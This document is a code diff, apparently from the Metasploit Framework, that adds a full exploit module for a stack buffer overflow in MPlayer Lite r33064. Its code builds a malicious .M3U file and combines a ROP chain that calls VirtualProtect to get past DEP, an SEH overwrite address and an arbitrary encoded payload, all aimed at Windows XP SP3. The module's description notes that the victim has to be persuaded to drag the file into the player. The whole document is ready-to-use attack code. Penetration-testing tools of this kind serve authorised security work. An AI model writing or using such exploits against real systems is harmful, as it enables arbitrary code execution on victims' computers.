Land #2910 - MPlayer Lite M3U Buffer Overflow

modules/exploits/windows/fileformat/mplayer_m3u_bof.rb

@@ -0,0 +1,118 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = AverageRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'MPlayer Lite M3U Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a stack-based buffer overflow vulnerability in
+        MPlayer Lite r33064, caused by improper bounds checking of an URL entry.
+
+        By persuading the victim to open a specially-crafted .M3U file, specifically by
+        drag-and-dropping it to the player, a remote attacker could execute arbitrary
+        code on the system or cause the application to crash.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'C4SS!0 and h1ch4m', # Vulnerability discovery and original exploit
+          'Gabor Seljan',      # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'BID', '46926' ],
+          [ 'EDB', '17013' ],
+          [ 'URL', 'http://www.mplayer-ww.com/eng/' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'ExitFunction' => 'process'
+        },
+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'BadChars'   => "\x00\x20\x0d\x0a\x1a\x2c\x2e\x26\x2f\x3a\x3e\x3f\x5c",
+          'Space'      => 5040
+        },
+      'Targets'        =>
+        [
+          [ 'Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064',
+            {
+              'Offset' => 21,
+              'Ret'    => 0x649a7bbe  # ADD ESP,64C # PPPR [avformat-52.dll]
+            }
+          ],
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Mar 19 2011',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
+        ],
+      self.class)
+
+  end
+
+  def junk
+    return rand_text_alpha(4).unpack("V").first
+  end
+
+  def nops
+    return make_nops(4).unpack("V").first
+  end
+
+  def exploit
+
+    # ROP chain generated by mona.py - See corelan.be
+    rop_gadgets =
+    [
+      0x6ad9d85d,  # POP EBP # RETN [avcodec-52.dll]
+      0x10018fc3,  # &CALL ESP [unrar.dll]
+      0x64984a70,  # POP EAX # RETN [avformat-52.dll]
+      0xffffec4f,  # Value to negate, will become 0x00005040
+      0x6b0ce791,  # NEG EAX # RETN [avcodec-52.dll]
+      0x6b063c7d,  # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]
+      junk,
+      junk,
+      0x1001d154,  # POP EAX # RETN [unrar.dll]
+      0x77e71210,  # &VirtualProtect() [IAT RPCRT4.dll]
+      0x64987f7f,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-52.dll]
+      0x6afcdc68,  # XCHG EAX,ESI # RETN [avcodec-52.dll]
+      0x6b02836d,  # POP EAX # RETN [avcodec-52.dll]
+      0xffffffc0,  # Value to negate, will become 0x00000040
+      0x6b0ce791,  # NEG EAX # RETN [avcodec-52.dll]
+      0x6af79d80,  # XCHG EAX,EDX # RETN [avcodec-52.dll]
+      0x1001bad6,  # POP ECX # RETN [unrar.dll]
+      0x649eab48,  # &Writable location [avformat-52.dll]
+      0x6d7c0bb7,  # POP EDI # RETN [swscale-0.dll]
+      0x6b03d722,  # RETN (ROP NOP) [avcodec-52.dll]
+      0x64984a70,  # POP EAX # RETN [avformat-52.dll]
+      nops,
+      0x6d7c57d1   # PUSHAD # RETN [swscale-0.dll]
+    ].flatten.pack('V*')
+
+    sploit =  rand_text_alpha_upper(target['Offset'])
+    sploit << rop_gadgets
+    sploit << payload.encoded
+    sploit << generate_seh_record(target.ret)
+    sploit << rand_text_alpha_upper(1000) # Generate exception
+
+    # Create the file
+    print_status("Creating '#{datastore['FILENAME']}' file ...")
+    file_create("http://" + sploit)
+
+  end
+end
+